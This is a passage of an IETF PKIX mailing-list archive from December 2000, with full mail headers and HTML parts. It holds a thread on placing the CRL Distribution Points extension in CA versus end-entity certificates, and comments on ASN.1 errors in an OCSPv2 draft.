<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp; other values are not defined by =
this specification.&nbsp; If the</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp; distributionPoint omits reasons, =
the CRL MUST include revocations for</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp; all reasons. If the =
distributionPoint omits cRLIssuer, the CRL MUST</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp; be issued by the CA that issued =
the certificate.</FONT>
</P>

<P><FONT SIZE=3D2>We should probably be more explicit in the first =
sentence.&nbsp; The CRL DP </FONT>
<BR><FONT SIZE=3D2>extension tells how to obtain CRL information for =
the certificate that </FONT>
<BR><FONT SIZE=3D2>contains the extension.&nbsp; I will try to improve =
the sentence before </FONT>
<BR><FONT SIZE=3D2>son-of-RFC 2459 goes to last call.</FONT>
</P>

<P><FONT SIZE=3D2>Russ</FONT>
</P>

<P><FONT SIZE=3D2>At 03:52 PM 12/11/2000 -0500, Jayant Sane =
wrote:</FONT>
<BR><FONT SIZE=3D2>&gt;This might be a naive question.</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt;Is it allowed/std practice to put the CRLDP =
extension in the issuer(CA) </FONT>
<BR><FONT SIZE=3D2>&gt;cert such that the crl pointed to contains/lists =
revoked end-entity certs </FONT>
<BR><FONT SIZE=3D2>&gt;(issued by it).</FONT>
<BR><FONT SIZE=3D2>&gt;I came across following certificate.</FONT>
<BR><FONT SIZE=3D2>&gt;End-entity cert has an AIA extension pointing to =
its issuer cert and the </FONT>
<BR><FONT SIZE=3D2>&gt;issuer cert has both AIA, to its issuer, and =
CRLDP persumably pointing to </FONT>
<BR><FONT SIZE=3D2>&gt;a CRL containing end-entity certs. The specs =
have'nt been very clear on </FONT>
<BR><FONT SIZE=3D2>&gt;the placement of this extension (unless I am =
overlooking something) -- </FONT>
<BR><FONT SIZE=3D2>&gt;whether it is more appropriate to put the CRLDP =
in the end-entity cert </FONT>
<BR><FONT SIZE=3D2>&gt;itself as compared to the CA cert.</FONT>
<BR><FONT SIZE=3D2>&gt;The one in the CA could be interpreted as one =
pointing to the CRL issued </FONT>
<BR><FONT SIZE=3D2>&gt;its issuer.</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt;Some clarification would be greatly =
appreciated.</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt;thanks,</FONT>
<BR><FONT SIZE=3D2>&gt;Jayant</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C064AE.2FE7C760--


From owner-ietf-pkix@imc.org  Wed Dec 13 01:51:08 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id BAA19954
	for <pkix-archive@odin.ietf.org>; Wed, 13 Dec 2000 01:51:08 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id WAA29859;
	Tue, 12 Dec 2000 22:47:52 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Tue, 12 Dec 2000 22:47:44 -0800
Received: from eagle.verisign.com (eagle.verisign.com [208.206.241.105])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id WAA29826
	for <ietf-pkix@imc.org>; Tue, 12 Dec 2000 22:47:44 -0800 (PST)
Received: from postal-gw2.verisign.com (verisign.com [63.104.27.102])
        by eagle.verisign.com (8.9.3/BCH1.7.1) with ESMTP id WAA20698;
        Tue, 12 Dec 2000 22:51:58 -0800 (PST)
Received: by postal-gw.verisign.com with Internet Mail Service (5.5.2650.21)
	id <YMB7NWZL>; Tue, 12 Dec 2000 22:50:18 -0800
Message-ID: <2F3EC696EAEED311BB2D009027C3F4F4020DC2D1@vhqpostal.verisign.com>
From: Michael Myers <MMyers@verisign.com>
To: phil.griffin@asn-1.com, pkix list <ietf-pkix@imc.org>
Subject: RE: Comments on draft-ietf-pkix-ocspv2-01
Date: Tue, 12 Dec 2000 22:50:16 -0800
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

Phil,

Many thanks for your detailed analysis.  We'll fold this into the -02 (and
with hope, final) draft for WG consideration.

Mike

> -----Original Message-----
> From: Phillip H. Griffin [mailto:phil.griffin@asn-1.com]
> Sent: Tuesday, December 12, 2000 8:57 AM
> To: pkix list
> Subject: Comments on draft-ietf-pkix-ocspv2-01
> 
> 
> Following are comments on minor glitches I found in 
> the OCSP ASN.1 module in draft-ietf-pkix-ocspv2-01.txt.
> 
> 
> [1] The definition of type OCSPResponseStatus is in
>     error due to style. A comment "--No more data available }"
>    makes the required trailing "}" missing:
> 
>    OCSPResponseStatus ::= ENUMERATED {
>                   snip
>       noMoreData            (7)       --No more data available }
> 
>    Suggest changing the comment to bind this text with a
>    second trailing "--" to yield "--No more data available -- }"
> 
> [2] The OCSP module attempts to import type CRLReason 
>     from X.509 module AuthenticationFramework. But this
>     enumerated type is not defined in that module, but is
>     defined in the X.509 module CertificateExtensions {
>     joint-iso-itu-t ds(5) module(1) 
>     certificateExtensions(26) 4 }
> 
>     Suggested change follows.
> 
>     Note that the X.509 AuthenticationFramework module 
>     defines well known ASN.1 types required by the OCSP 
>     module, but which are imported from elsewhere. Types 
>     CertificateSerialNumber and Extensions should be
>     imported from the AuthenticationFramework module.
> 
>     Suggested change follows.
> 
>     The OCSP module attempts to import types GeneralName
>     and Name from a module that has an EXPLICIT tags
>     default. But type Name is defined in the X.501 
>     InformationFramework module, which has an IMPLICIT
>     tags default. Type GeneralName is defined in the
>     X.509 CertificateExtensions module which also has
>     an IMPLICIT tags default, and type GeneralName is
>     not defined in the PKIX1Explicit88 module that is
>     referenced by OCSP.
> 
>     Suggested change follows.
>     
>     Note that in the OCSP IMPORTS statement, the current 
>     version (4th edition) of the Directory standards are
>     not referenced.
> 
>     Suggest changing the OCSP IMPORTS statement to the
>     following:
> 
> 
>    -- Directory Information Framework (X.501) --
> 
>    Name 
>       FROM InformationFramework { 
>          joint-iso-itu-t ds(5) module(1) informationFramework(1) 3 }
> 
>    -- Directory Authentication Framework (X.509) --
> 
>    AlgorithmIdentifier, Certificate, CertificateSerialNumber,
>    Extensions
>       FROM AuthenticationFramework { 
>          joint-iso-itu-t ds(5) module(1) 
>             authenticationFramework(7) 4 }
> 
>    -- Directory Certificate Extensions (X.509) --
> 
>    CRLReason, GeneralName
>       FROM CertificateExtensions {
>          joint-iso-itu-t ds(5) module(1) 
>             certificateExtensions(26) 4 }
> 
>    -- PKIX (RFC 2459) --
> 
>    AuthorityInfoAccessSyntax
>       FROM PKIX1Implicit93 { 
>          iso(1) identified-organization(3) dod(6) internet(1)
>             security(5) mechanisms(5) pkix(7) id-mod(0) 
>                id-pkix1-implicit-93(4) }
> 
>    id-ad-ocsp, id-kp 
>       FROM PKIX1Explicit93 {
>          iso(1) identified-organization(3) dod(6) internet(1) 
>             security(5) mechanisms(5) pkix(7) id-mod(0) 
>                id-pkix1-explicit-93(3) }
> 
>    -- Cryptographic Message Syntax
> 
>    IssuerAndSerialNumber
>       FROM CryptographicMessageSyntax {
>          iso(1) member-body(2) us(840) rsadsi(113549) pkcs(1)
>             pkcs-9(9) smime(16) modules(0) cms(1) };
> 
> [3] Type ReqCert references type IssuerandSerialNumber (note
>     lowercase "and") in both the document text and the ASN.1
>     module. But the OCSP module imports IssuerAndSerialNumber.
> 
>     Suggest changing this spelling to "And" in both places.
> 
> [4] The definition of module OCSP specifies an EXPLICIT
>     tags default. This means that none of the uses of the
>     EXPLICIT tagging modifier are needed elsewhere in the
>     module, and they tend to make the ASN.1 more difficult
>     to read.
> 
>     Suggest removing the text "EXPLICIT" from all places
>     in this standard except for the one occurrence needed
>     in the OCSP module definition statement.
> 
> [5] The comment on the definition of type UnknownInfo
>     should be removed, as it will likely lead to problems
>     of interworking between applications. If it is desired
>     that both NULL and ENUMERATED be allowed, I suggest
>     that type UnknownInfo be defined explicitly as a 
>     CHOICE type.
> 
> Phil
> ----
> Phillip H. Griffin      Griffin Consulting
> http://asn-1.com        Secure ASN.1 Design & Implementation
> +1-919-832-7008         1625 Glenwood Avenue, Five Points
> +1-919-832-7390 [fax]   Raleigh, North Carolina  27608  USA
> ------------------------------------------------------------
> 


From owner-ietf-pkix@imc.org  Wed Dec 13 12:22:09 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA16253
	for <pkix-archive@odin.ietf.org>; Wed, 13 Dec 2000 12:22:09 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id JAA05729;
	Wed, 13 Dec 2000 09:17:58 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Wed, 13 Dec 2000 09:16:36 -0800
Received: from mail.spyrus.com (mail.spyrus.com [207.212.34.20])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id JAA05657
	for <ietf-pkix@imc.org>; Wed, 13 Dec 2000 09:16:35 -0800 (PST)
Received: from RHOUSLEY-PC.spyrus.com (ietf.207.137.71.200.tx.verio.net [207.137.71.200])
	by mail.spyrus.com (8.9.3/8.9.3) with ESMTP id JAA00305;
	Wed, 13 Dec 2000 09:18:35 -0800 (PST)
Message-Id: <5.0.1.4.2.20001212121452.02981ad8@mail.spyrus.com>
X-Sender: rhousley@mail.spyrus.com
X-Mailer: QUALCOMM Windows Eudora Version 5.0.1
Date: Tue, 12 Dec 2000 12:17:36 -0500
To: Sharon Boeyen <sharon.boeyen@entrust.com>
From: Russ Housley <housley@spyrus.com>
Subject: RE: Question about CRL DP
Cc: "'Jayant Sane (Exchange)'" <jayant@eLock.com>,
        Pkix List <ietf-pkix@imc.org>
In-Reply-To: <DD62792EA182FF4E99C2FBC07E3053BD8262F0@sottmxs09.entrust.c
 om>
Mime-Version: 1.0
Content-Type: text/html; charset="us-ascii"
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

<html>
Sharon:<br>
<br>
Thanks for the more complete answer than the one that I posted.&nbsp;
And, we gave consistent answers.<br>
<br>
Russ<br>
<br>
At 08:20 AM 12/12/2000 -0500, Sharon Boeyen wrote:<br>
<blockquote type=cite class=cite cite><font face="arial" size=2 color="#0000FF">The
CRL distribution points extension can appear in either a CA-certificate
or an end-entity certificate. Regardless of the certificate type, the
revocation list pointed to is one that would list the certificate (if it
had been revoked) that contains the extension. So, if you find the
extension in a CA-certificate it is pointing to an ARL (or a CRL that
contains revocation notices for CA-certificates). While it is possible
that the revocation list being pointed to also contains revocation
notices for end-entity certs, you can't assume that from this instance of
the extension. That would be indicated separately in the end-entity certs
themselves.</font><br>
&nbsp;<br>
<font face="arial" size=2 color="#0000FF">Hope this helps</font><br>
<font face="arial" size=2 color="#0000FF">Sharon</font><br>
<blockquote type=cite class=cite cite><font face="Times New Roman, Times" size=2>-----Original
Message-----<br>
<b>From:</b> Jayant Sane (Exchange)
[<a href="mailto:jayant@eLock.com" eudora="autourl">mailto:jayant@eLock.com</a>]<br>
<b>Sent:</b> Monday, December 11, 2000 3:52 PM<br>
<b>To:</b> Pkix List<br>
<b>Subject:</b> Question about CRL DP<br>
<br>
</font><font face="arial" size=2>This might be a naive question.
</font><br>
&nbsp;<br>
<font face="arial" size=2>Is it allowed/std practice to put the CRLDP
extension in the issuer(CA) cert such that the crl pointed to
contains/lists revoked end-entity certs (issued by it). </font><br>
<font face="arial" size=2>I came across following certificate.
</font><br>
<font face="arial" size=2>End-entity cert has an AIA extension pointing
to its issuer cert and the issuer cert has both AIA, to its issuer, and
CRLDP persumably pointing to a CRL containing end-entity certs. The specs
have'nt been very clear on the placement of this extension (unless I am
overlooking something) -- whether it is more appropriate to put the CRLDP
in the end-entity cert itself as compared to the CA cert.</font><br>
<font face="arial" size=2>The one in the CA could be interpreted as one
pointing to the CRL issued its issuer. </font><br>
&nbsp;<br>
<font face="arial" size=2>Some clarification would be greatly
appreciated.</font><br>
&nbsp;<br>
<font face="arial" size=2>thanks,</font><br>
<font face="arial" size=2>Jayant</font></blockquote></blockquote></html>



From owner-ietf-pkix@imc.org  Wed Dec 13 12:35:18 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA17815
	for <pkix-archive@odin.ietf.org>; Wed, 13 Dec 2000 12:35:18 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id JAA06295;
	Wed, 13 Dec 2000 09:30:40 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Wed, 13 Dec 2000 09:30:38 -0800
Received: from pdcfairfax.elock.com ([63.83.231.13])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id JAA06265
	for <ietf-pkix@imc.org>; Wed, 13 Dec 2000 09:30:37 -0800 (PST)
Received: from ROCK207 ([63.83.231.21]) by pdcfairfax.elock.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21)
	id X6T46509; Wed, 13 Dec 2000 12:28:54 -0500
Message-ID: <018201c0652a$3b03a3e0$15e7533f@elock.com>
From: "Jayant Sane \(Exchange\)" <jayant@eLock.com>
To: "Pkix List" <ietf-pkix@imc.org>
References: <5.0.1.4.2.20001212121452.02981ad8@mail.spyrus.com>
Subject: Re: Question about CRL DP
Date: Wed, 13 Dec 2000 12:29:20 -0500
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_017F_01C06500.516D5920"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

This is a multi-part message in MIME format.

------=_NextPart_000_017F_01C06500.516D5920
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Thanks everyone. That clarified things. It appears that I may need to =
make a special case :-( for processing the paritcular case I =
encountered....

Jayant
  ----- Original Message -----=20
  From: Russ Housley=20
  To: Sharon Boeyen=20
  Cc: 'Jayant Sane (Exchange)' ; Pkix List=20
  Sent: Tuesday, December 12, 2000 12:17 PM
  Subject: RE: Question about CRL DP


  Sharon:

  Thanks for the more complete answer than the one that I posted.  And, =
we gave consistent answers.

  Russ

  At 08:20 AM 12/12/2000 -0500, Sharon Boeyen wrote:

    The CRL distribution points extension can appear in either a =
CA-certificate or an end-entity certificate. Regardless of the =
certificate type, the revocation list pointed to is one that would list =
the certificate (if it had been revoked) that contains the extension. =
So, if you find the extension in a CA-certificate it is pointing to an =
ARL (or a CRL that contains revocation notices for CA-certificates). =
While it is possible that the revocation list being pointed to also =
contains revocation notices for end-entity certs, you can't assume that =
from this instance of the extension. That would be indicated separately =
in the end-entity certs themselves.
    =20
    Hope this helps
    Sharon

      -----Original Message-----
      From: Jayant Sane (Exchange) [mailto:jayant@eLock.com]
      Sent: Monday, December 11, 2000 3:52 PM
      To: Pkix List
      Subject: Question about CRL DP

      This might be a naive question.=20
      =20
      Is it allowed/std practice to put the CRLDP extension in the =
issuer(CA) cert such that the crl pointed to contains/lists revoked =
end-entity certs (issued by it).=20
      I came across following certificate.=20
      End-entity cert has an AIA extension pointing to its issuer cert =
and the issuer cert has both AIA, to its issuer, and CRLDP persumably =
pointing to a CRL containing end-entity certs. The specs have'nt been =
very clear on the placement of this extension (unless I am overlooking =
something) -- whether it is more appropriate to put the CRLDP in the =
end-entity cert itself as compared to the CA cert.
      The one in the CA could be interpreted as one pointing to the CRL =
issued its issuer.=20
      =20
      Some clarification would be greatly appreciated.
      =20
      thanks,
      Jayant

------=_NextPart_000_017F_01C06500.516D5920
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2919.6307" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Thanks everyone. That clarified things. =
It appears=20
that I may need to&nbsp;make a special case :-( for processing the =
paritcular=20
case I encountered....</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Jayant</FONT></DIV>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: =
0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">
  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A href=3D"mailto:housley@spyrus.com" title=3Dhousley@spyrus.com>Russ =
Housley</A>=20
  </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A=20
  href=3D"mailto:sharon.boeyen@entrust.com" =
title=3Dsharon.boeyen@entrust.com>Sharon=20
  Boeyen</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Cc:</B> <A =
href=3D"mailto:jayant@eLock.com"=20
  title=3Djayant@eLock.com>'Jayant Sane (Exchange)'</A> ; <A=20
  href=3D"mailto:ietf-pkix@imc.org" title=3Dietf-pkix@imc.org>Pkix =
List</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Tuesday, December 12, =
2000 12:17=20
  PM</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> RE: Question about CRL =
DP</DIV>
  <DIV><BR></DIV>Sharon:<BR><BR>Thanks for the more complete answer than =
the one=20
  that I posted.&nbsp; And, we gave consistent =
answers.<BR><BR>Russ<BR><BR>At=20
  08:20 AM 12/12/2000 -0500, Sharon Boeyen wrote:<BR>
  <BLOCKQUOTE class=3Dcite cite type=3D"cite"><FONT color=3D#0000ff =
face=3Darial=20
    size=3D2>The CRL distribution points extension can appear in either =
a=20
    CA-certificate or an end-entity certificate. Regardless of the =
certificate=20
    type, the revocation list pointed to is one that would list the =
certificate=20
    (if it had been revoked) that contains the extension. So, if you =
find the=20
    extension in a CA-certificate it is pointing to an ARL (or a CRL =
that=20
    contains revocation notices for CA-certificates). While it is =
possible that=20
    the revocation list being pointed to also contains revocation =
notices for=20
    end-entity certs, you can't assume that from this instance of the =
extension.=20
    That would be indicated separately in the end-entity certs=20
    themselves.</FONT><BR>&nbsp;<BR><FONT color=3D#0000ff face=3Darial =
size=3D2>Hope=20
    this helps</FONT><BR><FONT color=3D#0000ff face=3Darial =
size=3D2>Sharon</FONT><BR>
    <BLOCKQUOTE class=3Dcite cite type=3D"cite"><FONT=20
      face=3D"Times New Roman, Times" size=3D2>-----Original=20
      Message-----<BR><B>From:</B> Jayant Sane (Exchange) [<A=20
      href=3D"mailto:jayant@eLock.com"=20
      eudora=3D"autourl">mailto:jayant@eLock.com</A>]<BR><B>Sent:</B> =
Monday,=20
      December 11, 2000 3:52 PM<BR><B>To:</B> Pkix =
List<BR><B>Subject:</B>=20
      Question about CRL DP<BR><BR></FONT><FONT face=3Darial =
size=3D2>This might be=20
      a naive question. </FONT><BR>&nbsp;<BR><FONT face=3Darial =
size=3D2>Is it=20
      allowed/std practice to put the CRLDP extension in the issuer(CA) =
cert=20
      such that the crl pointed to contains/lists revoked end-entity =
certs=20
      (issued by it). </FONT><BR><FONT face=3Darial size=3D2>I came =
across following=20
      certificate. </FONT><BR><FONT face=3Darial size=3D2>End-entity =
cert has an AIA=20
      extension pointing to its issuer cert and the issuer cert has both =
AIA, to=20
      its issuer, and CRLDP persumably pointing to a CRL containing =
end-entity=20
      certs. The specs have'nt been very clear on the placement of this=20
      extension (unless I am overlooking something) -- whether it is =
more=20
      appropriate to put the CRLDP in the end-entity cert itself as =
compared to=20
      the CA cert.</FONT><BR><FONT face=3Darial size=3D2>The one in the =
CA could be=20
      interpreted as one pointing to the CRL issued its issuer.=20
      </FONT><BR>&nbsp;<BR><FONT face=3Darial size=3D2>Some =
clarification would be=20
      greatly appreciated.</FONT><BR>&nbsp;<BR><FONT face=3Darial=20
      size=3D2>thanks,</FONT><BR><FONT face=3Darial=20
  =
size=3D2>Jayant</FONT></BLOCKQUOTE></BLOCKQUOTE></BLOCKQUOTE></BODY></HTM=
L>

------=_NextPart_000_017F_01C06500.516D5920--



From owner-ietf-pkix@imc.org  Wed Dec 13 16:49:13 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA27734
	for <pkix-archive@odin.ietf.org>; Wed, 13 Dec 2000 16:49:12 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id NAA21791;
	Wed, 13 Dec 2000 13:44:25 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Wed, 13 Dec 2000 13:44:14 -0800
Received: from SOTTMXS01.entrust.com (gatekeeper.entrust.com [204.101.128.170])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id NAA21756
	for <ietf-pkix@imc.org>; Wed, 13 Dec 2000 13:44:13 -0800 (PST)
Received: by SOTTMXS01.entrust.com with Internet Mail Service (5.5.2650.21)
	id <YVKXPHGS>; Wed, 13 Dec 2000 16:46:57 -0500
Message-ID: <DD62792EA182FF4E99C2FBC07E3053BD826306@sottmxs09.entrust.com>
From: Sharon Boeyen <sharon.boeyen@entrust.com>
To: "'Russ Housley'" <housley@spyrus.com>,
        Sharon Boeyen
	 <sharon.boeyen@entrust.com>
Cc: "'Jayant Sane (Exchange)'" <jayant@eLock.com>,
        Pkix List
	 <ietf-pkix@imc.org>
Subject: RE: Question about CRL DP
Date: Wed, 13 Dec 2000 16:47:11 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C0654E.3F6D5C40"
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0654E.3F6D5C40
Content-Type: text/plain;
	charset="iso-8859-1"

Whew, its good when that happens - one less defect report we need to write
to clarify the standard :-)

-----Original Message-----
From: Russ Housley [mailto:housley@spyrus.com]
Sent: Tuesday, December 12, 2000 12:18 PM
To: Sharon Boeyen
Cc: 'Jayant Sane (Exchange)'; Pkix List
Subject: RE: Question about CRL DP


Sharon:

Thanks for the more complete answer than the one that I posted.  And, we
gave consistent answers.

Russ

At 08:20 AM 12/12/2000 -0500, Sharon Boeyen wrote:


The CRL distribution points extension can appear in either a CA-certificate
or an end-entity certificate. Regardless of the certificate type, the
revocation list pointed to is one that would list the certificate (if it had
been revoked) that contains the extension. So, if you find the extension in
a CA-certificate it is pointing to an ARL (or a CRL that contains revocation
notices for CA-certificates). While it is possible that the revocation list
being pointed to also contains revocation notices for end-entity certs, you
can't assume that from this instance of the extension. That would be
indicated separately in the end-entity certs themselves.
 
Hope this helps
Sharon


-----Original Message-----
From: Jayant Sane (Exchange) [ mailto:jayant@eLock.com
<mailto:jayant@eLock.com> ]
Sent: Monday, December 11, 2000 3:52 PM
To: Pkix List
Subject: Question about CRL DP

This might be a naive question. 
 
Is it allowed/std practice to put the CRLDP extension in the issuer(CA) cert
such that the crl pointed to contains/lists revoked end-entity certs (issued
by it). 
I came across following certificate. 
End-entity cert has an AIA extension pointing to its issuer cert and the
issuer cert has both AIA, to its issuer, and CRLDP persumably pointing to a
CRL containing end-entity certs. The specs have'nt been very clear on the
placement of this extension (unless I am overlooking something) -- whether
it is more appropriate to put the CRLDP in the end-entity cert itself as
compared to the CA cert.
The one in the CA could be interpreted as one pointing to the CRL issued its
issuer. 
 
Some clarification would be greatly appreciated.
 
thanks,
Jayant


------_=_NextPart_001_01C0654E.3F6D5C40
Content-Type: text/html;
	charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">


<META content="MSHTML 5.00.3105.105" name=GENERATOR></HEAD>
<BODY>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=678424521-13122000>Whew, 
its good when that happens - one less defect report we need to write to clarify 
the standard :-)</SPAN></FONT></DIV>
<BLOCKQUOTE 
style="BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: 0px; PADDING-LEFT: 5px">
  <DIV class=OutlookMessageHeader><FONT face="Times New Roman" 
  size=2>-----Original Message-----<BR><B>From:</B> Russ Housley 
  [mailto:housley@spyrus.com]<BR><B>Sent:</B> Tuesday, December 12, 2000 12:18 
  PM<BR><B>To:</B> Sharon Boeyen<BR><B>Cc:</B> 'Jayant Sane (Exchange)'; Pkix 
  List<BR><B>Subject:</B> RE: Question about CRL 
  DP<BR><BR></DIV></FONT>Sharon:<BR><BR>Thanks for the more complete answer than 
  the one that I posted.&nbsp; And, we gave consistent 
  answers.<BR><BR>Russ<BR><BR>At 08:20 AM 12/12/2000 -0500, Sharon Boeyen 
  wrote:<BR>
  <BLOCKQUOTE class=cite cite type="cite"><FONT color=#0000ff face=arial 
    size=2>The CRL distribution points extension can appear in either a 
    CA-certificate or an end-entity certificate. Regardless of the certificate 
    type, the revocation list pointed to is one that would list the certificate 
    (if it had been revoked) that contains the extension. So, if you find the 
    extension in a CA-certificate it is pointing to an ARL (or a CRL that 
    contains revocation notices for CA-certificates). While it is possible that 
    the revocation list being pointed to also contains revocation notices for 
    end-entity certs, you can't assume that from this instance of the extension. 
    That would be indicated separately in the end-entity certs 
    themselves.</FONT><BR>&nbsp;<BR><FONT color=#0000ff face=arial size=2>Hope 
    this helps</FONT><BR><FONT color=#0000ff face=arial size=2>Sharon</FONT><BR>
    <BLOCKQUOTE class=cite cite type="cite"><FONT 
      face="Times New Roman, Times" size=2>-----Original 
      Message-----<BR><B>From:</B> Jayant Sane (Exchange) [<A 
      href="mailto:jayant@eLock.com" 
      eudora="autourl">mailto:jayant@eLock.com</A>]<BR><B>Sent:</B> Monday, 
      December 11, 2000 3:52 PM<BR><B>To:</B> Pkix List<BR><B>Subject:</B> 
      Question about CRL DP<BR><BR></FONT><FONT face=arial size=2>This might be 
      a naive question. </FONT><BR>&nbsp;<BR><FONT face=arial size=2>Is it 
      allowed/std practice to put the CRLDP extension in the issuer(CA) cert 
      such that the crl pointed to contains/lists revoked end-entity certs 
      (issued by it). </FONT><BR><FONT face=arial size=2>I came across following 
      certificate. </FONT><BR><FONT face=arial size=2>End-entity cert has an AIA 
      extension pointing to its issuer cert and the issuer cert has both AIA, to 
      its issuer, and CRLDP persumably pointing to a CRL containing end-entity 
      certs. The specs have'nt been very clear on the placement of this 
      extension (unless I am overlooking something) -- whether it is more 
      appropriate to put the CRLDP in the end-entity cert itself as compared to 
      the CA cert.</FONT><BR><FONT face=arial size=2>The one in the CA could be 
      interpreted as one pointing to the CRL issued its issuer. 
      </FONT><BR>&nbsp;<BR><FONT face=arial size=2>Some clarification would be 
      greatly appreciated.</FONT><BR>&nbsp;<BR><FONT face=arial 
      size=2>thanks,</FONT><BR><FONT face=arial 
  size=2>Jayant</FONT></BLOCKQUOTE></BLOCKQUOTE></BLOCKQUOTE></BODY></HTML>

------_=_NextPart_001_01C0654E.3F6D5C40--


From owner-ietf-pkix@imc.org  Wed Dec 13 22:16:57 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA02034
	for <pkix-archive@odin.ietf.org>; Wed, 13 Dec 2000 22:16:56 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id TAA04470;
	Wed, 13 Dec 2000 19:13:17 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Wed, 13 Dec 2000 19:12:58 -0800
Received: from po1.bbn.com (PO1.BBN.COM [192.1.50.38])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id TAA04428
	for <ietf-pkix@imc.org>; Wed, 13 Dec 2000 19:12:57 -0800 (PST)
Received: from [128.33.238.40] (TC040.BBN.COM [128.33.238.40])
	by po1.bbn.com (8.9.1/8.9.1) with ESMTP id WAA03211;
	Wed, 13 Dec 2000 22:12:24 -0500 (EST)
Mime-Version: 1.0
X-Sender: kent@po1.bbn.com (Unverified)
Message-Id: <v04220800b65de39becc7@[128.33.238.91]>
Date: Wed, 13 Dec 2000 22:03:01 -0500
To: ietf-pkix <ietf-pkix@imc.org>
From: Stephen Kent <kent@bbn.com>
Subject: meeting minutes
Cc: jis@mit.edu
Content-Type: multipart/alternative; boundary="============_-1235358777==_ma============"
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
